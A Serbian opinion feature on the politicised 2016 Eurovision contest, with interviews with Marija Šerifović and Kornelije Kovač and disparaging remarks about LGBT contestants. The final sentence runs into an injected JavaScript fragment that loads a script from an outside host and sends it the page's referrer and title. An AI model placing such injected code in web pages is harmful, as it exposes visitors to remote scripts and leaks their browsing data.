PUTUJUĆI CIRKUS: Evrovizija između pesme i skandala

Takmičarka Jermenije je tokom nastupa u Stokholmu mahala zastavom Nagorno-Karabaha, što su zvaničnici Evrosonga osudili, ali nisu pomenuli pobednicu iz Ukrajine, koja je pevala o progonu Tatara

Sreća te se priključenja država Evropskoj uniji ne odvijaju po pravilima Evrovizije, jer mnoge bi zemlje svoje putešestvije okončale u jedinstvenom putujućem cirkusu! Poneseni ocenom britanskog "Gardijana", koji je ovogodišnje finale Pesme Evrovizije ocenio kao najpolitizovanije od kada takmičenje postoji, mediji konstatuju da je politički sukob između Rusije i Ukrajine prenet i na ovo muzičko takmičenje.

Pobednička pesma naslovljena "1944", ukrajinske predstavnice koja je poreklom Tatarka sa Krima, tiče se baš Staljinovog progona Tatara sa Krima te 1944. godine. Pobednica Džamala nije krila da ova pesma govori i o aneksiji tog poluostrva 2014. godine.

Tako se ovaj "sovjetski" sukob u okrilju zapadne Evrope u potpunosti preneo na evrovizijsko takmičenje, kao da se ne radi o muzičkoj manifestaciji već, u najmanju ruku, o političkom poligonu u nekom telu Lige naroda.

Takmičenje je obeležio i nedvosmislen politički incident: prve polufinalne večeri takmičarka Jermenije je tokom svog nastupa u Stokholmu mahala zastavom sporne azerbejdžanske oblasti Nagorno-Karabah, što su zvaničnici Evrosonga i osudili. Evropska radio-difuzna unija (EBU), koja je organizator Evrosonga, a čiji su članovi nacionalne televizije zemalja učesnica, okarakterisala je ovaj incident kao "ozbiljno kršenje" zabrane svih političkih poruka na takmičenju. Do sada samo vešto maskirano i zataškavano, ovaj put je postalo jasno da je Evrosong prestao da bude samo takmičenje za najbolju pesmu.

"Sovjetski" sukob se skroz preneo na Evroviziju, kao da se ne radi o muzičkoj fešti već, u najmanju ruku, političkom poligonu u telu neke Lige naroda

Neki ruski mediji osvrnuli su se i na novi sistem glasanja koji je od ove godine kombinacija glasova žirija i publike i naveli da je "truli Zapad ukrao pobedu Rusiji"... A šta li se desilo onomad kad su Rusi pobedili, doduše pre okršaja u Ukrajini? Nije li malo smrdelo po ruskoj nafti na evrovizijskoj pijaci i malčice lobiranja?!

Mediji su na sve, ne i muzičke načine, analizirali takmičenje, takmičare i njihove nastupe, a društvene mreže nikad nisu bile više preplavljene komentarima na račun glasanja koje je, kao i svaka novotarija, kod mnogih izazvala negodovanje. Ipak, većini se nije dopalo ko je kome koliko poena dodelio nakon sabiranja SMS glasova, mnogo više od samog sistema glasanja. Novo glasanje je pokazalo da sistem po kome su se susedske zemlje do sada redovno međusobno čašćavale glasovima više nije dominantan i presudan na evrovizijskom takmičenju.

Kada se postevrovizijska medijska čarlama začini time da je na osnovu glasova žirija najbolja pesma Evrope umalo bila ona australijska (!), sasvim je jasno nezadovoljstvo svih onih koji su navikli da je ova stara muzička manifestacija prevashodno takmičenje Starog kontinenta.

Pop zvezda Džastin Timberlejk je, s druge strane, živi nastup na Evrosongu iskoristio da najnovije hitove predstavi, kako je sam rekao, pred 200 miliona gledalaca. Tako je posle 61. Evrosonga konačno postalo evidentno ono što se u medijima i postevrovizijskim komentarima provlačilo poslednju deceniju - da je manifestacija koja sebe karakteriše kao takmičenje za najbolju pesmu zapravo politički obojeni muzički šou.

Naša evrovizijska pobednica Marija Šerifović, koja je tokom finalne večeri na svom Tviter profilu napisala "Austrija Australiji 12 poena!!! Važi.Ćao. Ne gledam Evrosong više NIKADA!", kaže za Ekspres da su i promene u glasanju deo usklađivanja ove manifestacije s duhom vremena.

- Dosta toga se menja, pa su i te promene očekivane, smatra ona, ističući da voli ovo takmičenje i da ne može biti sasvim objektivna. Ipak, nije ubeđenja da je novi sistem glasanja doneo veće uzbuđenje:
- Ja ne pamtim veće uzbuđenje od onog koje sam sama doživela, ali to je normalno, svako meri po sebi, kaže Marija Šerifović, čije prvo mesto na ovom muzičkom takmičenju pre skoro deceniju niko sa ovih prostora nije ponovo dostigao.

S druge strane, deo stare garde, Kornelije Bata Kovač, koji se još 1974. godine sa svojom "Korni grupom" i pesmom "Moja generacija" oprobao na ovom takmičenju, svedoči o razgradnji ideje na kojoj je manifestacija bila zasnovana.

- To su kompozicije i pesme koje su prilagođene današnjem senzibilitetu mlade publike koja sluša elektronske aranžmane. Čak sam video neku kritiku zato što su neki snimci išli sa živim bendom?! Umesto da to hvale. Ali mi je sasvim jasno da se to ne uklapa u taj elektronski zvuk u kome su bile sve ostale kompozicije - ističe Kornelije.

Prema njegovim rečima, pesme koje se izvode poslednjih godina su sve sličnije jedna drugoj:
- Čovek to treba da voli da bi mogao da prati i da gradira. Meni je bilo naporno da odslušam svih 26 pesama. Naime, to su slične pesme, slična vrsta aranžmana, jedino je pevanje uživo a sve ostalo je programirano, kaže on, i naglašava: - Ali, to je šou-biznis. Kad se pre više od deceniju krenulo putem uvođenja igrača i tehnike kojom se snima, sa svim tim efektima, jasno je bilo da je pesma izgubila primat.

Kovač dodaje da je publika sad već "iskvarena", da je navikla na propratne scenske i svetlosne efekte i kada bi to izostalo, šou im više ne bi bio zanimljiv.

- Švedski predstavnik je izašao sam na scenu i pevao. To je meni bilo najinteresantnije. Naravno, i on je imao orkestar na snimku, ali nije bilo ni raketa ni letenja po vazduhu. Bio je sam na sceni s mikrofonom, pristojno dete koje se lepo ponašalo, s prijatnim izrazom lica, pokreta prikladnih tekstu - kaže Bata, i objašnjava:

- E sad, zašto kažem da je publika iskvarena, zato što je bilo jasno da publika očekuje da to bude tako kao što je i bilo sada u Švedskoj. To je industrija koja je uspela da nametne takvu vrstu pravila. S druge strane, imate vi i muziku koja nije podlegla ovakvim pravilima, koja se svira, to je džez - ali on nije tako popularan.

Kornelije Kovač je otvoreno kritičan prema ovogodišnjem takmičenju, ali i uopšteno Evroviziji kakva je danas:

- Uho te generacije slušalaca je naviklo na elektronike. Shvatio sam da većina pesama ne samo da ima slične aranžmane, već i slično vođenje melodijskih linija, koje su maltene rađene po šablonima za koje se zna da su uspešni. Ljudi me često pitaju o Evroviziji, baš zato što smo mi kao "Korni grupa" jednom bili tamo. Ali to ne može da se upoređuje. To je bilo drugo vreme.

- Pošto su u nekoliko navrata njihovi voditelji govorili o švedskim uspesima na Evroviziji, davali su i snimke ABBA koja je nastupila na istoj sceni na kojoj smo i mi. Bilo je neverovatno kada sam ustanovio da je scena iz vremena našeg nastupa ostala skoro ista: isti klavir i mikrofoni, kompletna bina, samo je jedna dekoracija bila drugačija. Nije bilo čak ni nekih posebnih svetlosnih efekata. Ali mi to nismo ni očekivali - dodaje on.

Kovač se seća da su te 1974., kada je ABBA pobedila, oni bili 12-ti. On smatra da je odlazak na Evroviziju koristan za svakog izvođača.

- To je bitno za ove mlade, za uzrast koji je u jeku životnih uspona. Nije bezveze da se ode tamo, naprave neki kontakti, uspostave neke veze i tu nije bitno da li je neko bio prvi ili deseti - dodaje Bata, i procenjuje kakva je budućnost Evrovizije:

- Ne znam dokle još može da se napreduje tehnološki... može li biti još više tehnike, da li će sve da deluje još virtuelnije? Ako ostavimo po strani to da posle ovogodišnje Evrovizije niko više neće moći da tvrdi da ovo takmičenje nije politički motivisano i da nam se samo činilo da su pojedini žiriji svih ovih godina glasali prema nekom interesnom sistemu ili diktatu iz poluprivatne centrale EBU, jasno je da je reč o manifestaciji čije je ishodište glamurozni televizijski šou koji generiše rekordan broj gledalaca, veliki novac od sponzora i televizijskih prava. To je iznad svega profitabilni prenos uživo, pa tek onda takmičenje za najbolju kompoziciju. Manifestacija uz koju smo moja generacija i ja odrastali, kao i uz uzbudljiva nadmetanja naših reprezentacija, samo što ovog puta to nije bila ni košarka ni fudbal, već muzičko nadmetanje vođeno interesima muzičke industrije i svetskih državnih kanala.

Poslednjih godina  sve je više onih koji ne računaju na glasovne i umetničke domete već se oslanjaju na šok, provociranje i privlačenje pažnje nemuzičkim sredstvima.

Od prošlogodišnjeg učešća Bojane Stamenov čak ni naši predstavnici na ovom takmičenju više ne pevaju na srpskom, a veliki broj zemalja se odavno odrekao nastupa na svom jeziku, te Pesma evrovizije nije ni evropsko, a još manje muzičko takmičenje sa nacionalnim obeležjima...

Naša pobednica Marija Šerifović i devet godina posle svog učešća na Evroviziji u Finskoj zastupa tezu kvalitetne pesme:

- Mislim da će pesma uvek biti najvažnija. Dobar sveden nastup i glas uvek su dobitna kombinacija, a ko ne briljira u tome logično je da pribegava drugim sredstvima.

Poslednjih godina, poput Končite ili ćurana Dastina koji je predstavljao Irsku 2008. godine (lutak koji je uspeo da se plasira u finale), sve je više takmičara koji ne računaju na glasovne ili umetničke domete već se oslanjaju na šok, provociranje publike i privlačenje pažnje nemuzičkim sredstvima.

I deci je jasno da se u poslednjih desetak godina svesno i sistematski u ovaj cirkus uvode predstavnici manjinskih grupa, homoseksualnih ili transrodnih, čime se širi krug zainteresovane publike, ali u ovu evrovizijsku papazjaniju upumpava i još više novca. Tamo gde cirkuliše veliki novac počinju da kruže i veliki korporativni interesi, a uz njih su neumitni i državni interesi. Onda nije nikakvo iznenađenje otkud u ovoj promenadi klovnova i skupog glamura i - sirova politika.

Da li vas sve ovo tek podseća na međunarodni rijaliti visokih standarda ili on to već jeste?!s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';